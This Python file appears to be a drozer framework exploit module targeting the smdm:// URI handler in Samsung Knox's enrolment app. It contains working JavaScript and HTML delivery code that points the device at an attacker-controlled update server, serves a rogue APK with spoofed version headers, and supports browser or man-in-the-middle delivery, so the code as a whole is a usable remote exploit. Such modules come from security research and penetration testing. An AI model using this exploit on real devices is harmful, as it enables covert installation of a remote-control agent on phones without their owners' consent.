from drozer.modules import Module, common
import sys

class KnoxSMDM(Module, common.Exploit):

    name = "Abuse the New enrolment/UniversalMDMApplication application in Samsung Knox suite to install rogue drozer agent"
    description = """

    The com.sec.enterprise.knox.cloudmdm.smdms package contains a BROWSABLE activity with a custom scheme smdm:///

    A URI can be formed using this scheme that contains an argument for a server from which to fetch application updates e.g.

    smdm://whatever?update_url=http://yourserver/

    This exploit can be used from a browser or from a traffic interception attack in conjuction with the drozer Burp MitM extension
    
    Vulnerable:
      * Samsung devices running Knox (New enrolment/UniversalMDMApplication application)
        
    """
    examples = """$ drozer exploit build exploit.remote.browser.knoxsmdm --server 192.168.0.112 --resource /
Uploading blank page to /...  [  OK  ]
Uploading agent to //latest...  [  OK  ]
Uploading exploit in JavaScript to /...  [  OK  ]
Uploading web delivery page to /...  [  OK  ]
Done. Exploit delivery page is available on: http://192.168.0.112:31415/
When using the MitM helper plugin for drozer: JS Location = http://192.168.0.112:31415/smdm.js
    """
    author = ["Andre Moulu (@quarkslab)","Tyrone (@mwrlabs)"]
    date = "2014-11-26"
    license = "BSD (3 clause)"
    module_type = "exploit"
    path = ["exploit", "remote", "browser"]
    
    payloads = []
    
    __template = """
var res;
var lastServerResponse = -1;

function invokeDrozer()
{
    window.location = "pwn://update.samsung.com";
    clearInterval(res);
}

function install()
{
    var req = new XMLHttpRequest();

    req.open("GET", 'http://$REPLACEME$/status?//latest', true);
    req.onreadystatechange = function() {
      if (req.readyState === 4)  { 
        var serverResponse = parseInt(req.responseText);
        console.log(serverResponse);

        if (lastServerResponse == -1 || lastServerResponse == serverResponse)
        {
            window.location="smdm://samsung?update_url=http://$REPLACEME$/";
            lastServerResponse = serverResponse;
        }
        else
        {
            setTimeout(invokeDrozer, 2000);
        }
      }
    };
    req.send(null);
}

res = setInterval(install, 2000);
"""

    __html_page = """
<html>
    <head>
        <script type="text/javascript" src="smdm.js"></script>
    </head>
</html>
"""
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)
        
        self.payload_format = "N"
        
    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
    
    def generate(self, arguments):

        host = arguments.server[0]
        port = str(arguments.server[1])
        path = self.generate_or_default_path(arguments.resource)

        self.__template = self.__template.replace("$REPLACEME$", "%s:%d" % (arguments.server[0], arguments.server[1]))
        
        print "Uploading blank page to /...",
        if not self.upload(arguments, "/", " "):
            return

        print "Uploading agent to //latest...",
        if not self.upload(arguments, "//latest", self.build_agent(arguments), mimetype="application/vnd.android.package-archive", headers={"ETag": "49f68a5c8493ec2c0bf489821c21fc3b", "x-amz-meta-apk-version": "1337" }):
            return
        
        print "Uploading exploit in JavaScript to %s..." % path,
        if not self.upload(arguments, "/smdm.js", self.build_multipart({ ".*": self.__template }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        print "Uploading web delivery page to %s..." % path,
        if not self.upload(arguments, path, self.build_multipart({ ".*Android.*": self.__html_page }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        print "Done. Exploit delivery page is available on: http://%s:%s%s" % (host, port, path.replace("\\",""))
        sys.stdout.write("When using the MitM helper plugin for drozer: JS Location = http://%s:%s/smdm.js\n" % (host, port))
